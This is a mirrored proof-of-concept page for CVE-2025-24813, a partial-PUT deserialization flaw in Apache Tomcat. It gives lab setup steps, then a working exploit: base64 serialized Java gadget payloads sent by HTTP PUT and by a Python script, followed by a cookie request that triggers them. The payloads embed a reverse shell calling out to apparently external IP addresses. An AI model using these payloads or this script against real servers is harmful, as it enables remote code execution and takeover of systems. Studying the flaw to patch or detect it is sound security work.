Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-24813 PoC — Apache Tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT

Source
Associated Vulnerability
Title:Apache Tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT (CVE-2025-24813)
Description:Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected. If all of the following were true, a malicious user was able to view security sensitive files and/or inject content into those files: - writes enabled for the default servlet (disabled by default) - support for partial PUT (enabled by default) - a target URL for security sensitive uploads that was a sub-directory of a target URL for public uploads - attacker knowledge of the names of security sensitive files being uploaded - the security sensitive files also being uploaded via partial PUT If all of the following were true, a malicious user was able to perform remote code execution: - writes enabled for the default servlet (disabled by default) - support for partial PUT (enabled by default) - application was using Tomcat's file based session persistence with the default storage location - application included a library that may be leveraged in a deserialization attack Users are recommended to upgrade to version 11.0.3, 10.1.35 or 9.0.99, which fixes the issue.
Readme
## <font style="color:rgb(36, 41, 47);">Conditions of Use</font>
+ DefaultServlet write function is enabled: it needs to `web.xml` be configured `inreadonly=false`
+ Partial PUT request support: Tomcat supports block upload by default
+ Enable file session persistence: need to `context.xml` configure `PersistentManager` and `FileStore`
+ There is a deserialization exploit chain: the class path must contain the vulnerable library

## Impact
+ 9.0.0.M1 <= Apache Tomcat <= 9.0.98
+ 10.1.0-M1 <= Apache Tomcat <= 10.1.34
+ 11.0.0-M1 <= Apache Tomcat <= 11.0.2

## <font style="color:rgb(36, 41, 47);">Difficulty of exploitation</font>
+ <font style="color:rgb(36, 41, 47);">complex</font>
+ <font style="color:rgb(36, 41, 47);">harsh</font>

#### Manual Configuration
1. You need to configure the readonly of DefaultServlet to false in conf/web.xml to enable the write function.

```bash
<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>

```

2. You need to enable File session storage in conf/context.xml

```bash
<Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore"/>
</Manager>
```



```bash
version: '3.8'
services:
  tomcat:
    image: tomcat:9.0.8-jre8-slim
    container_name: CVE-2025-24813
    volumes:
      # web.xml
      - ./web.xml:/usr/local/tomcat/conf/web.xml
      # context.xml
      - ./context.xml:/usr/local/tomcat/conf/context.xml
      - ./commons-collections-3.2.1.jar:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar
    ports:
      - "8080:8080"
```

## Start the environment
```bash
docker-compose up -d
```

## Using Java-Chains to create serialized payload

``` bash
docker run -d \
  --name java-chains \
  --restart=always \
  -p 8011:8011 \
  -p 58080:58080 \
  -p 50389:50389 \
  -p 50388:50388 \
  -p 3308:3308 \
  -p 13999:13999 \
  -p 50000:50000 \
  -p 11527:11527 \
  -e CHAINS_AUTH=true \
  -e CHAINS_PASS=test123 \
  javachains/javachains:latest
```
See screenshot below to create a reverse shell payload...**Make sure to edit gadget 4 and set its IP/port to listen for the connection.**

![image](https://github.com/user-attachments/assets/c65bccc0-cb3c-405e-99ad-6e1bd2ed929a)

## Yakit

Access the URL https://yaklang.com/ to download Yakit tool. It does not work with BurpSuite. Use Webfuzzer feature

## Send the payload you created using Java-chains like this -> {{base64dec(PAYLOAD-HERE)}} 

```http
PUT /pocss/session HTTP/1.1
Host: localhost:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

{{base64dec(rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAABsHK/rq+AAAAMgB/AQBlb3JnL2FwYWNoZS9jb21tb21zL2JlYW51dGlscy9jb3lvdGUvZGVzZXJpYWxpemF0aW9uL1ZhbHVlSW5zdGFudGlhdG9yZTgzZmQ5MDY2MDU4NDZkMTllNThiNTE4MGQyYmU5ZjMHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQACaXABABJMamF2YS9sYW5nL1N0cmluZzsBAARwb3J0AQAGPGluaXQ+AQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcACgwACAAJCgAEAAwBAAcvYmluL3NoCAAOAQAHb3MubmFtZQgAEAEAEGphdmEvbGFuZy9TeXN0ZW0HABIBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DAAUABUKABMAFgEAEGphdmEvbGFuZy9TdHJpbmcHABgBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7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)}}

```

![image](https://github.com/user-attachments/assets/8b8434bf-b1e0-4f0d-88b5-51e5d7fb7849)


```http
GET / HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=.pocss
```

![image](https://github.com/user-attachments/assets/93fcb1b3-b96b-4080-8d6b-add9960a6c63)


See that the reverse shell is working fine:

![image](https://github.com/user-attachments/assets/6bb8819f-9776-450e-a3e4-0153175c1dc0)


# It is possible to perform this PoC using the Python code below.

Make sure to edit the payload (since this is hardcoded), and the Host/Port. Also, send the GET request using curl to exploit the app

``` python
import requests
import base64

# Payload encoded in base64 (extracted from java-chains)
base64_payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAABsHK/rq+AAAAMgB/AQBlb3JnL2FwYWNoZS9jb2xsZWN0aW9ucy9jb3lvdGUvZGVzZXJpYWxpemF0aW9uL2ltcGwvSW5uZXJDbGFzc1Byb3BlcnR5YzMwOGI3YzRlMjQ3NDA3MmJjMzM5YjZiNWVjMmE4NDEHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQACaXABABJMamF2YS9sYW5nL1N0cmluZzsBAARwb3J0AQAGPGluaXQ+AQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcACgwACAAJCgAEAAwBAAcvYmluL3NoCAAOAQAHb3MubmFtZQgAEAEAEGphdmEvbGFuZy9TeXN0ZW0HABIBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DAAUABUKABMAFgEAEGphdmEvbGFuZy9TdHJpbmcHABgBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DAAaABsKABkAHAEAA3dpbggAHgEACnN0YXJ0c1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoMACAAIQoAGQAiAQAHY21kLmV4ZQgAJAEAEWphdmEvbGFuZy9SdW50aW1lBwAmAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAKAApCgAnACoBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAsAC0KACcALgEAD2phdmEvbmV0L1NvY2tldAcAMAwABQAGCQACADIMAAcABgkAAgA0AQARamF2YS9sYW5nL0ludGVnZXIHADYBAAhwYXJzZUludAEAFShMamF2YS9sYW5nL1N0cmluZzspSQwAOAA5CgA3ADoBABYoTGphdmEvbGFuZy9TdHJpbmc7SSlWDAAIADwKADEAPQEAEWphdmEvbGFuZy9Qcm9jZXNzBwA/AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwwAQQBCCgBAAEMBAA5nZXRFcnJvclN0cmVhbQwARQBCCgBAAEYKADEAQwEAD2dldE91dHB1dFN0cmVhbQEAGCgpTGphdmEvaW8vT3V0cHV0U3RyZWFtOwwASQBKCgBAAEsKADEASwEACGlzQ2xvc2VkAQADKClaDABOAE8KADEAUAEAE2phdmEvaW8vSW5wdXRTdHJlYW0HAFIBAAlhdmFpbGFibGUBAAMoKUkMAFQAVQoAUwBWAQAEcmVhZAwAWABVCgBTAFkBABRqYXZhL2lvL091dHB1dFN0cmVhbQcAWwEABXdyaXRlAQAEKEkpVgwAXQBeCgBcAF8BAAVmbHVzaAwAYQAJCgBcAGIFAAAAAAAAADIBABBqYXZhL2xhbmcvVGhyZWFkBwBmAQAFc2xlZXABAAQoSilWDABoAGkKAGcAagEACWV4aXRWYWx1ZQwAbABVCgBAAG0BAAdkZXN0cm95DABvAAkKAEAAcAEABWNsb3NlDAByAAkKADEAcwEAEGphdmEvbGFuZy9PYmplY3QHAHUBAAg8Y2xpbml0PgEADjU0LjIwNy4xODUuMjI3CAB4AQAFMTcxMTUIAHoKAAIADAEABENvZGUBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAgAJAAUABgAAAAkABwAGAAAAAgABAAgACQABAH0AAAEwAAQACgAAAMEqtwANEg9MEhG4ABe2AB0SH7YAI5kABhIlTLgAKyu2AC9NuwAxWbIAM7IANbgAO7cAPk4stgBEOgQstgBHOgUttgBIOgYstgBMOgcttgBNOggttgBRmgBfGQS2AFeeABAZCBkEtgBatgBgp//uGQW2AFeeABAZCBkFtgBatgBgp//uGQa2AFeeABAZBxkGtgBatgBgp//uGQi2AGMZB7YAYxQAZLgAayy2AG5XpwAIOgmn/6AstgBxLbYAdKcABEyxAAIApwCsAK8ACwAEALwAvwALAAEAfgAAAE0ACv8AGgACBwACBwAZAAD/ADYACQcAAgcAGQcAQAcAMQcAUwcAUwcAUwcAXAcAXAAABhQUFFcHAAsE/wAKAAEHAAIAAQcAC/wAAAcAdgAIAHcACQABAH0AAAAfAAIAAAAAABMSebMAMxJ7swA1uwACWbcAfFexAAAAAAAAcHQAJGMxOGNkMDkxLWFjNmEtNGE1ZS1hODAyLWQ1MjFhMTgwNThmN3B3AQB4c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ACVsAC2lQYXJhbVR5cGVzcQB+AAh4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAB0ABNnZXRPdXRwdXRQcm9wZXJ0aWVzdXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="

# Decoding the base64 payload
decoded_payload = base64.b64decode(base64_payload)

# Config
url = "http://localhost:8080/pocss/session"
headers = {
    "Host": "localhost:8080",
    "Content-Length": "1000",
    "Content-Range": "bytes 0-1000/1200"
}

# PUT request
try:
    response = requests.put(url, headers=headers, data=decoded_payload)
    
    # Response
    print(f"Status Code: {response.status_code}")
    print(f"Response Headers: {response.headers}")
    print(f"Response Content: {response.content}")
    
except requests.exceptions.RequestException as e:
    print(f"Request error: {e}")
```

GET Request:

``` bash
curl http://localhost:8080 -H "Cookie: JSESSIONID=.pocss"
```
File Snapshot

[4.0K] /data/pocs/c30e990213743228550d2906d3e4d8ec8a16be7c ├── [562K] commons-collections-3.2.1.jar ├── [1.5K] context.xml ├── [ 367] docker-compose.yml ├── [4.2K] poc.py ├── [ 11K] README.md └── [169K] web.xml 0 directories, 6 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →